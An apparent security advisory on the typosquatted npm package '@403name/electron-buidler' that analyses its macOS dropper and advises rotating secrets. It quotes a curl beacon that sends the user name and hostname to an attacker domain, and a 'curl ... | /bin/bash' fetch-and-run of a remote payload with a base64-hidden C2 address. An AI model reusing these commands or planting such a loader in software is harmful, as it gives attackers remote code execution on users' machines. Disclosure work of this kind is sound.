## Public findings

### 1. High: Osv Malicious Advisory
- **Category:** External Intel
- **Confidence:** 100.0%

On require(), index.js executes an immediately-invoked function that platform-gates to macOS, skips CI environments, drops a one-shot marker file in ~/.cache/.nyx-npm/eb, then after a 30-90 second random delay performs two attacker-controlled network operations. First, it issues a curl GET to https://k7xm9q.xyz/api/clickfix-callback carrying a beacon ID, $USER, os.hostname(), and the literal tag 'npm\_electron-buidler' as query parameters, identifying the victim to the attacker. Second, it fetches a dead-drop file at https://raw.githubusercontent.com/nyx-deploy/config/main/c2.txt to learn a C2 base (base64-encoded fallback decodes to https://k7xm9q.xyz), then pipes \`curl -sSfL \<C2\>/api/payload/ | /bin/bash\` via spawn('/bin/sh','-c',...) with \`& disown\` to detach the shell. The C2 host is concealed via atob('aHR0cHM6Ly9rN3htOXEueHl6'). The package name '@403name/electron-buidler' is a one-character typo of the popular 'electron-builder' package under an unrelated scope; the README's 'Electron application builder' claim is a cover for the dropper. Importing this package on a non-CI macOS host yields full remote code execution as the installing user with attacker-controlled payload delivery and no consent.

All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
